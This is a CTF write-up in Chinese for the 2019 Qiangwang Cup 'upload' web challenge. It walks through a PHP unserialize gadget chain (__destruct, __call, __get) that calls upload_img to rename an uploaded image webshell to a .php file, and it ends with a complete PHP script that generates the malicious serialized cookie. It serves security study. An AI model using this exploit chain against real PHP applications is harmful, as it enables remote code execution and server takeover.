2019强网杯upload反序列化赛后总结

比赛的时候web就做出了一题… 这题的反序列化知识点都知道,但是感觉这题逻辑性很强…比赛时并没有想到这么利用… 题目中危险的点也都注意到了,但就是没法串联起来,构造出攻击链。总的来说,反序列化漏洞,对逻辑性的考验还是蛮强的,要对程序的各个流程要熟悉,感觉这就是没有学习过开发的问题=.=

过程分析

首先在 Index 类的 login_check 方法中存在这反序列化函数 $this->profile=unserialize(base64_decode($profile)); 这里会对 cookie 进行反序列化。所以这里去寻找魔术方法来进行利用,主要注意 __destruct__wakeup 这两个魔术方法。

Profile 类中,文件上传的逻辑是如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public function upload_img(){
if($this->checker){//首先这里会检查是否登录
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}

if(!empty($_FILES)){//这里是判断请求中是否在有文件上传的请求
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];//获取临时文件名
$this->filename=md5($_FILES['upload_file']['name']).".png";
//将文件名进行MD5加密,并拼接png后缀
$this->ext_check();//判断文件名是否是png后缀,如果是则将$this->ext赋值为png,且返回1
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
//将临时文件移动到指定文件,这里就是反序列化之后的利用点,通过控制返序列化之后 $this->filename_tmp 和 $this->filename 的值,可以将上传的图片马进行重命名,然后 getshell
//我们通过 cookie 反序列化之后执行 Profile 类的 upload_img 方法是可以绕过这个方法的前面两个判断的,
//第一个 if 被绕过是因为反序列化之后,$this->checker 我们在序列化之前并没有赋值给它
//第二个 if 被绕过是因为,修改cookie,提交我们的攻击 payload 之后发出的 GET 请求,所以$_FILE 数组的内容为空
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}

明确了最后要执行的类方法,接下来就是构造攻击力。

前面提到的,要注意的两个魔术方法。在 Register 类中刚好存在 __destruct 方法,而Profile 类中的存在 __get__call 方法,一个是在调用不存在的类属性时自动调用,一个是在调用不存在的类方法时自动调用。

1
2
3
4
5
6
7
8
    public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
//这里我们可以在序列化时,使 $this->registed = 0 且 $this->checker = new Profile();
//这样就会去调用 Profile 类的 index 方法,而 Profile 类不存在 index 方法,就会去调用 __call 这个魔术方法
1
2
3
4
5
6
7
    public function __call($name, $arguments)//$name 为不存在的成员方法名称,$arguments 传入此方法的参数
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
//在执行到这个模式方法中的 if 语句的判断时,if($this->index) ,Profile 类不存在 index 属性,所以又去调用__get 方法
1
2
3
4
5
6
7
public function __get($name)// $name 传进来的是所调用的不存在的属性名称,本例中传入的是 index
{
return $this->except[$name];
// 所以这里我们只要控制 $this->except 这个属性的内容就能执行任意成员方法
// 本例中,我们可以在序列化的时候让 $this->except = ['index'=>'upload_img']
// 这样在 __get 这个魔术方法 return 回去之后,就可以让 __call 这个魔术方法执行 $this->{$this->{$name}}($arguments); ,这里相当于就是执行了 $this->upload_img(),这样就达到了我们的目的,更改完成了上传的图片马的名称,使我们可以 getshell
}

Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
//利用如下代码生成payload
<?php

namespace app\web\controller;//不引入命名空间反序列化后不能正常执行
class Profile{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except =['index'=>'update_img'];
}

class Register{
public $checker;
public $registed;

}

$a = new Register();
$a->registed = 0;
$a->checker = new Profile();
$a->checker->except = ['index'=>'upload_img'];
$a->checker->filename_tmp='./upload/ca981be68fba667240b609224fcc1f5c/f47454d1d3644127f42070181a8b9afc.png';
$a->checker->filename='./upload/ca981be68fba667240b609224fcc1f5c/phpifno.php';
$a->checker->ext = 1;


echo base64_encode(serialize($a));

然后修改 cookie的内容,在回到首页进行刷新就OK了